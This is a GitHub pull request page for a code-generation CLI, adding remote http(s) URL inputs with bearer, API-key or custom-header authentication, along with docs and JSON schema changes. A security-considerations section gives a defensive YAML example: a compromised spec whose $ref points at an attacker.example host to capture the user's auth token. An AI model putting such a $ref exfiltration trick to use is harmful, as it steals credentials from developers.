Skip to content

feat: add remote URL support for input specifications with optional auth #363

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
jonaslagoni merged 2 commits into from
Apr 26, 2026
Merged

feat: add remote URL support for input specifications with optional auth #363

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
2 commits
Select commit Hold shift + click to select a range
b1fe5f7
feat: add remote URL support for input specifications with optional auth
jonaslagoni Apr 26, 2026
541d5ee
fix docs
jonaslagoni Apr 26, 2026
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
83 changes: 83 additions & 0 deletions docs/configurations.md
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -127,3 +127,86 @@ export default {
]
};
```

## Remote URL inputs

`inputPath` accepts an `http://` or `https://` URL in addition to a local
file path. The same configuration field is used for AsyncAPI, OpenAPI, and
JSON Schema inputs:

```javascript
export default {
inputType: 'asyncapi',
inputPath: 'https://example.com/specs/asyncapi.yaml',
language: 'typescript',
generators: [
{ preset: 'payloads', outputPath: './src/payloads' }
]
};
```

Format detection prefers the response `Content-Type` header
(`application/json` → JSON, `*yaml*` → YAML), falling back to the URL
extension and finally to JSON-then-YAML for ambiguous cases.

External `$ref` targets (e.g. `$ref:
'https://example.com/components.yaml#/components/schemas/Pet'`) are also
resolved over the same code path for AsyncAPI and OpenAPI inputs.

### Authenticating remote requests

For specs hosted behind authentication, configure the `auth` field. Three
shapes are supported:

```javascript
// Bearer token
auth: { type: 'bearer', token: process.env.API_TOKEN }

// API key in a custom header
auth: { type: 'apiKey', header: 'X-API-Key', value: process.env.API_KEY }

// Arbitrary headers
auth: {
type: 'custom',
headers: {
Authorization: `Bearer ${process.env.API_TOKEN}`,
'X-Tenant': 'acme'
}
}
```

The `auth` field is ignored when `inputPath` is a local file path.

### Auth scope and security considerations

**The configured authentication headers are sent to every URL the loader
fetches**, including:

- The root `inputPath` URL.
- Every external `$ref` target the parser libraries follow during
dereferencing — even when the `$ref` points at a different host.

This is the right default for typical internal-SSO setups where the root
spec and its `$ref` chain share an auth boundary, but it means that **a
compromised spec can exfiltrate your token**:

```yaml
# Compromised spec at https://api.example.com/openapi.yaml
openapi: 3.0.0
paths:
/users:
get:
responses:
'200':
content:
application/json:
schema:
$ref: 'https://attacker.example/exfil.yaml' # ← receives your token
```

### Watch mode

`--watch` only observes the local filesystem. When `inputPath` is a
remote URL, the input watcher is skipped and a warning is logged. Use
`--watchPath` to watch a local file that triggers regeneration (which
will re-fetch the URL) on change.
6 changes: 6 additions & 0 deletions docs/inputs/asyncapi.md
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -26,6 +26,12 @@ There is a lot of overlap with existing tooling, however the idea is to form the
| [`custom`](../generators/custom.md) | ✅ |
| [`models`](../generators/custom.md) | ✅ |

## Remote URL inputs

`inputPath` accepts an `http://` or `https://` URL. Optional authentication (bearer token, API key, or custom headers) is configured
via the `auth` field. See the [configurations guide](../configurations.md#remote-url-inputs) for examples and the [auth scope and security
considerations](../configurations.md#auth-scope-and-security-considerations) section before using `auth` against a public spec — the configured headers are sent to every `$ref` target as well as the root URL.

## Basic AsyncAPI Document Structure

Here's a complete basic AsyncAPI document example to get you started:
Expand Down
4 changes: 4 additions & 0 deletions docs/inputs/jsonschema.md
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -15,6 +15,10 @@ The JSON Schema input type supports the following generators:
| [`models`](../generators/models.md) | ✅ |
| [`custom`](../generators/custom.md) | ✅ |

## Remote URL inputs

`inputPath` accepts an `http://` or `https://` URL. Optional authentication (bearer token, API key, or custom headers) is configured via the `auth` field. See the [configurations guide](../configurations.md#remote-url-inputs) for examples and the [auth scope and security considerations](../configurations.md#auth-scope-and-security-considerations) section. Note: JSON Schema input does **not** resolve external `$ref`s in the loader (Modelina handles refs downstream), so auth headers are only sent to the root URL.

## Configuration

### Basic Configuration
Expand Down
24 changes: 2 additions & 22 deletions docs/inputs/openapi.md
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -36,29 +36,9 @@ Create a configuration file that specifies OpenAPI as the input type:
}
```

## Advanced Features
## Remote URL inputs

### External References

The OpenAPI parser automatically resolves external `$ref` references:

```yaml
components:
schemas:
Pet:
$ref: './schemas/pet.yaml#/Pet'
User:
$ref: 'https://api.example.com/schemas/user.json#/User'
```

### OpenAPI 3.1 Features

Full support for OpenAPI 3.1 features including:

- JSON Schema 2020-12 compatibility
- `const` keyword
- `if`/`then`/`else` conditionals
- Enhanced `examples` support
`inputPath` accepts an `http://` or `https://` URL. Optional authentication (bearer token, API key, or custom headers) is configured via the `auth` field. Cross-spec `$ref` URLs are also resolved through the same auth-aware HTTP client. See the [configurations guide](../configurations.md#remote-url-inputs) for examples and the [auth scope and security considerations](../configurations.md#auth-scope-and-security-considerations) section — the configured headers are sent to every `$ref` target as well as the root URL.

## Troubleshooting

Expand Down
70 changes: 40 additions & 30 deletions package-lock.json
View file
Open in desktop

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

3 changes: 2 additions & 1 deletion package.json
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,7 @@
},
"bugs": "https://github.com/the-codegen-project/cli/issues",
"dependencies": {
"@apidevtools/json-schema-ref-parser": "^14.2.0",
"@asyncapi/avro-schema-parser": "^3.0.24",
"@asyncapi/modelina": "^6.0.0-next.11",
"@asyncapi/openapi-schema-parser": "^3.0.24",
Expand Down Expand Up @@ -38,7 +39,7 @@
"@swc/jest": "^0.2.23",
"@types/inquirer": "^9.0.7",
"@types/jest": "^29.5.12",
"@types/node": "^18",
"@types/node": "^22",
"@types/rimraf": "^4.0.5",
"@types/uuid": "^10.0.0",
"@typescript-eslint/eslint-plugin": "^8.58.0",
Expand Down
72 changes: 72 additions & 0 deletions schemas/configuration-schema-0-with-docs.json
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -19,6 +19,9 @@
"type": "string",
"markdownDescription": "Path or URL to the input document used as the source for code generation. [Read more about configurations here](https://the-codegen-project.org/docs/configurations)"
},
"auth": {
"$ref": "#/definitions/AsyncAPICodegenConfiguration/properties/auth"
},
"language": {
"$ref": "#/definitions/AsyncAPICodegenConfiguration/properties/language"
},
Expand Down Expand Up @@ -78,6 +81,9 @@
"type": "string",
"markdownDescription": "Path or URL to the input document used as the source for code generation. [Read more about configurations here](https://the-codegen-project.org/docs/configurations)"
},
"auth": {
"$ref": "#/definitions/AsyncAPICodegenConfiguration/properties/auth"
},
"language": {
"$ref": "#/definitions/AsyncAPICodegenConfiguration/properties/language"
},
Expand Down Expand Up @@ -124,6 +130,72 @@
"type": "string",
"markdownDescription": "Path or URL to the input document used as the source for code generation. [Read more about configurations here](https://the-codegen-project.org/docs/configurations)"
},
"auth": {
"anyOf": [
{
"type": "object",
"properties": {
"type": {
"type": "string",
"const": "bearer"
},
"token": {
"type": "string",
"minLength": 1
}
},
"required": [
"type",
"token"
],
"additionalProperties": false
},
{
"type": "object",
"properties": {
"type": {
"type": "string",
"const": "apiKey"
},
"header": {
"type": "string",
"minLength": 1
},
"value": {
"type": "string",
"minLength": 1
}
},
"required": [
"type",
"header",
"value"
],
"additionalProperties": false
},
{
"type": "object",
"properties": {
"type": {
"type": "string",
"const": "custom"
},
"headers": {
"type": "object",
"additionalProperties": {
"type": "string"
}
}
},
"required": [
"type",
"headers"
],
"additionalProperties": false
}
],
"markdownDescription": "Authentication for fetching remote input specifications via http(s). Ignored for local file paths. WARNING: these credentials are sent to every URL the loader fetches, including external $ref targets on other hosts. See https://the-codegen-project.org/docs/configurations#auth-scope-and-security-considerations for details."
},
"language": {
"type": "string",
"const": "typescript",
Expand Down
Loading
Loading